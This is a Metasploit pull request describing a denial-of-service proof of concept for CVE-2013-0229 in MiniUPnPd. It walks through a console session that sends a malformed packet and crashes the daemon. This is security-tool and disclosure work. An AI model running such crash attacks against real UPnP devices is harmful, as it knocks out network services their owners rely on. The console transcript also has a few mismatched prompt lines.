rapid7/metasploit-framework — pull request #1842 by viris (2013-05-17 12:16:47+00:00)
Title: Added CVE-2013-0229 for MiniUPnPd < 1.4

MiniUPnPd DoS PoC

We could describe the same steps to run the MiniUPnPd daemon and make it to listen to incoming connections, but we already did this in the previous PoC. This is why, we'll only provide the settings we need to cause DoS on the remote device. We should start the MiniUPnPd daemon the same way as before:

> miniupnpd -f miniupnpd.conf -d
Reading configuration from file miniupnpd.conf
miniupnpd[24934]: HTTP listening on port 8080
miniupnpd[24934]: HTTP connection from 192.168.1.3:15955
miniupnpd[24934]: HTTP REQUEST : GET /rootDesc.xml (HTTP/1.1)
miniupnpd[24934]: HTTP connection from 192.168.1.4:56240
miniupnpd[24934]: HTTP REQUEST : GET /rootDesc.xml (HTTP/1.1)

In the DoS exploit, the following options are available:

> msf > use exploit/multi/upnp/miniupnpd_dos
msf auxiliary(upnp2) > show options
msf auxiliary(miniupnpd_dos) > show options
Module options (auxiliary/multi/upnp/miniupnpd_dos):
>
> Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 1900 yes The target port

>msf auxiliary(miniupnpd_dos) > set RHOST 192.168.1.2
RHOST => 192.168.1.2
msf auxiliary(miniupnpd_dos) > exploit
>
>[*] Sending malformed packet to 192.168.1.2...
[*] The target should be unresponsive now...
[*] Auxiliary module execution completed

When sending the exploit to the target, the exploit will cause the MiniUPnPd daemon to terminate as seen below:

>Segmentation fault (core dumped)

We can see that we've successfully cause the denial of service of the MiniUPnPd deamon.